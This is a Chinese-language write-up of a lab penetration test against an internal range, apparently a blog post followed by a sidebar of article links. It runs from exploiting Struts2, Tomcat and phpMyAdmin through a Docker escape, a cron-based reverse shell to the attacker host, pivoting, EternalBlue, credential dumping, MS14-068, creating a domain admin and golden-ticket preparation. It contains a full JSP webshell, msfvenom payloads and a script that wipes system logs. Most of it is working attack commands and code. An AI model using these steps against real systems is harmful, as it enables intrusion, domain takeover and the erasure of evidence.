环境

漏洞详情 (qiyuanxuetang.net)

仅主机模式内网网段192.168.183.0/24

外网网段192.168.157.0/24

其中Ubuntu作为对外的内网机器

攻击机kali地址:192.168.157.129  悬剑:192.168.157.130

还需要进入ubuntu开启服务,密码ubuntu

cd /home/ubuntu/Desktop/vulhub/struts2/s2-045v
sudo docker-compose up -d

cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615
sudo docker-compose up -d

cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613
sudo docker-compose up -d

信息收集

nmap -sS 192.168.157.0/24
nmap -sV -A 192.168.157.128

可以看到2001、2002、2003分别对应jetty、tomcat、apache中间件

从2001端口开始吧

Ubuntu Getshell

2001Struts2

web界面是这样的,标题提示了是struts2的框架

尝试了一下上传一句话木马,上传成功了但是无路径回显无法利用

直接上struts2扫描工具

看到存在漏洞S2-045、S2-046,查了一下是命令执行漏洞,验证一下

接着使用wget上传木马getshell

kali开启apache服务

service apache2 start 

制作msf木马,放在var/www/html下

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.157.129 LPORT=4444 -f elf > shell.elf

远程执行命令

wget http://192.168.157.129/shell.elf

可以看到木马已经上传上去

接着chmod +x shell.elf添加一个执行权限 然后./shell.elf运行就行了

2002tomcat

Tomcat 8.5.19版本,查询了一下,存在CVE-2017-12615任意写入文件漏洞,漏洞本质是Tomcat配置文件/conf/web.xml 配置了可写(readonly=false),导致我们可以往服务器写文件。

抓个包,修改一下数据包改成put,写入木马(因为是tomcat,所以用jsp后门)

<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
} public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>

蚁剑连接

同样可以反弹msf shell就不演示了

2003phpMyAdmin

连密码都不用就直接进去了,那就查看一下版本号看看存在什么漏洞

4.8.1远程文件包含漏洞(CVE-2018-12613)

验证一下是否存在,接下来就写入一句话然后文件包含连接

http://192.168.157.128:2003/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

但是试了一下就算知道了绝对路径也无法文件包含数据库内的一句话,进去ubuntu看了一下也根本没有这个路径,十分奇怪

后来看到网上的poc,还可以使用session包含,测试一下

http://192.168.157.128:2003/index.php?target=db_datadict.php%253f/../../../../../../../../../tmp/sess_a87f3b504810883a0db7aa69946f1988

这个原理就是包含缓存文件,接着就写入一句话

但写了一句话之后,蚁剑也连接不上,看了一下缓存文件的信息,发现一句话被序列化储存了,没办法利用

绝对路径也没法使用,这里只能放弃这个方法getshell了

docker逃逸

拿到shell之后首先要做的就是看看是否存在内网,扫描一下是否存在其他网段

但是明明是root用户ifconfig的命令却用不了,加上之前phpmyadmin的路径问题,让我怀疑我是不是在虚拟机的容器里

果然还是没有这么简单,现在要离开这个容器,由于之前没有接触过容器,急忙恶补了容器的知识初识Docker逃逸 - FreeBuf网络安全行业门户

这里我尝试采用了目录挂载逃逸

查看磁盘文件:

fdisk -l

从返回结果来看sda1、sda2、sda5在/dev目录下。

新建一个目录/test,然后将/dev/sda1挂载到新建的目录下

mkdir /test
mount /dev/sda1 /test

可以看到现在可以通过访问docker容器内部挂载整个宿主机本地文件的/test,来实现访问整个宿主机的目的。

在计划任务里写入一个bash反弹shell的脚本:

echo "/bin/bash -i >& bash -i >& /dev/tcp/192.168.157.129/9999 0>&1"  >> /test/tmp/shell.sh
chmod +x /test/tmp/shell.sh
cat /test/tmp/shell.sh

写入crontab计划任务,表示每隔两分钟以root权限执行一次计划

echo '*/2 * * * * root  bash /tmp/shell.sh' > /test/etc/crontab

cat  /test/etc/crontab查看是否写入成功

kali nc监听

nc -lvp 9999 

成功!

内网穿越

反弹个shell给msf

run get_local_subnets
run autoroute -s 192.168.183.0/24
run autoroute -p

添加内网路由

use auxiliary/server/socks_proxy

设置一下代理

打开proxychains4配置端口

vi /etc/proxychains4.conf

现在可以通过proxychains4实现内网访问

内网信息收集

use auxiliary/scanner/smb/smb_version
set rhosts 192.168.183.0/24
set threads 100

192.168.183.129 windows7

192.168.183.130 windows 2008

属于DEMO域

与此同时nmap的扫描也扫出来这两个ip

proxychains nmap -Pn -sT 192.168.183.0/24 

端口扫描一些看看具体开放了哪些端口

use auxiliary/scanner/portscan/tcp
set rhosts 192.168.183.129-130

大概开放了这些,引人注目的就是445端口了,直接扫一下永恒之蓝

use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.183.129-130

显示两个都易受到永恒之蓝攻击

payload要设置为正向

use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.183.129
set payload windows/x64/meterpreter/bind_tcp

win7直接拿下,但是win2008被打的蓝屏重启,不能用

继续信息收集一下,看看有没有别的遗漏

乱码问题输入chcp 65001

ipconfig
net view /domain
net time /domain
net user /domain
net group /domain
net group "domain computers" /domain
net group "domain controllers" /domain
net group "domain admins" /domain
net group "Enterprise Admins" /domain

但是无法进一步收集域内的信息了

load kiwi看看能不能抓取到密码

load kiwi
creds_all

一个域内用户douser和密码

只能通过远程桌面连接看看能不能收集到什么信息了

添加一个管理员用户,准备远程桌面

net user lry Admin111 /add
net localgroup administrators lry /add

开启3389端口

run post/windows/manage/enable_rdp

通过代理连接远程桌面

proxychains rdesktop 192.168.183.129

试了一下域内的用户登陆不上去

用了刚刚建立的管理员账户登陆上去也无济于事,后来突然意识到msf有个令牌窃取的功能Metasploit用法详解 - 1_Ry - 博客园 (cnblogs.com)

load incognito
list_tokens -u
impersonate_token DEMO\\douser \\注意要加两个斜杠

现在就可以进行域内的信息收集了

Domain controllers:
WIN-ENS2VR5TR3N

域名:demo.com

域管账户:Administrator

横向移动

现在获取了win7的权限,但是2008的密码抓不到,win7也没有权限访问,查找了一下之前的笔记,不需要用到管理员权限的横向只能试试MS14-068了内网安全:域内横向移动 - 1_Ry - 博客园 (cnblogs.com)

查看SID

whoami /user

S-1-5-21-979886063-1111900045-1414766810-1107

域内用户douser和密码Dotest123

本来想上传上去,但发现里面有ms14-068和mimikatz.exe

使用ms14-068.exe生成票据

ms14-068.exe -u douser@demo.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123

清除票据

klist purge  \\清除
klist \\查看

使用mimikatz导入票据

mimikatz.exe "kerberos::ptc C:\Users\douser\Desktop\TGT_douser@demo.com.ccache"

成功,这里dir不能用ip只能用主机名

连接成功后先用sc创建任务把防火墙远程关掉

sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\WIN-ENS2VR5TR3N start unablefirewall

接下来上传一个msf正向木马到win7再到域控

msfvenom -p windows/x64/meterpreter/bind_tcp -f exe > shell.exe

创建计划任务的时候显示权限不足,那就继续用sc创建任务  

schtasks /create /s 192.168.183.130 /tn test /sc onstart /tr c:\calc.bat /ru system /f

sc \\WIN-ENS2VR5TR3N create Startup binpath= "C:\shell.exe"
sc \\WIN-ENS2VR5TR3N start Startup

正向监听getshell

权限维持

获取的shell很不稳定,快速收集信息进行权限维持

kiwi获取密码

或者

添加一个域管理员用户

net user lry Admin111 /add
net group "domain admins" lry /add

开启3389端口

run post/windows/manage/enable_rdp

使用lry管理员登陆了上去

proxychains rdesktop 192.168.183.130 

上传一个mimikatz到域控

privilege::debug
lsadump::lsa /patch

获取到域的SID和krbtgt的NTML后就可以制作黄金票据了

黄金票据、白银票据 - 1_Ry - 博客园 (cnblogs.com)具体就不制作了,现在只要域管理员不改krbtgt密码,我们就可以以域内普通用户的身份访问域控

痕迹清理

Linux

清除命令历史记录

histroy -r          #删除当前会话历史记录

history -c          #删除内存中的所有命令历史

rm .bash_history   #删除历史文件中的内容

HISTZISE=0          #通过设置历史命令条数来清除所有历史记录

在隐蔽的位置执行命令

使用vim打开文件执行命令

:set history=0

:!command

linux日志文件

/var/run/utmp 记录现在登入的用户

/var/log/wtmp 记录用户所有的登入和登出

/var/log/lastlog 记录每一个用户最后登入时间

/var/log/btmp 记录错误的登入尝试

/var/log/auth.log 需要身份确认的操作

/var/log/secure 记录安全相关的日志信息

/var/log/maillog 记录邮件相关的日志信息

/var/log/message 记录系统启动后的信息和错误日志

/var/log/cron 记录定时任务相关的日志信息

/var/log/spooler 记录UUCP和news设备相关的日志信息

/var/log/boot.log 记录守护进程启动和停止相关的日志消息

完全删除日志文件:

cat /dev/null > filename

: > filename

> filename

echo "" > filename

echo > filename

针对性删除日志文件:

删除当天日志

sed  -i '/当天日期/'d  filename

一键清除脚本:

#!/usr/bin/bash

echo > /var/log/syslog

echo > /var/log/messages

echo > /var/log/httpd/access_log

echo > /var/log/httpd/error_log

echo > /var/log/xferlog

echo > /var/log/secure

echo > /var/log/auth.log

echo > /var/log/user.log

echo > /var/log/wtmp

echo > /var/log/lastlog

echo > /var/log/btmp

echo > /var/run/utmp

rm ~/./bash_history

history -c

windows

msf

1.查看事件日志

run event_manager -i

2.删除事件日志

run event_manager -c

3.clearv命令清除目标系统的事件日志。

4、还需要手动删除刚刚上传的后门

最新文章

  1. UWP应用开发系列视频教程简介 - Built for Windows 10
  2. 問題排查:行動裝置網頁前端 UI 設計 (1)
  3. iOS 汉字转拼音
  4. 浅谈分治算法在OI中的应用
  5. YTU 3019: 螺旋方阵
  6. nginx 完全关闭 access_log
  7. Git教程(8)Git几种工作方式
  8. java jvm学习笔记七(jar包的代码认证和签名)
  9. eclipse+ADT 进行android应用签名详解
  10. find: paths must precede expression(转)
  11. C语言程序设计 第一次作业
  12. JavaScript- BOM, DOM
  13. linux arm 交叉编译ACE(ubuntu16.04)
  14. bootstrap table使用总结
  15. python之Flask框架
  16. Python之生成器及内置函数篇4
  17. C语言中对数组名取地址
  18. POJ3241 Object Clustering(最小生成树)题解
  19. 日志的处理 —— 使用 log4j
  20. php实现异步请求

热门文章

  1. dede新增字段调用方法
  2. 关于web桌面应用的集成解决方案
  3. Faster RCNN 改进论文及资料
  4. AVS 端能力之蓝牙模块
  5. 1.pytest初尝试
  6. oeasy教您玩转vim - 53 - # 批量替换
  7. MYSQL小版本升级(5.7.21至5.7.25)
  8. 数据库的高可用MHA实验步骤
  9. IO之字符流
  10. YouTube爬虫下载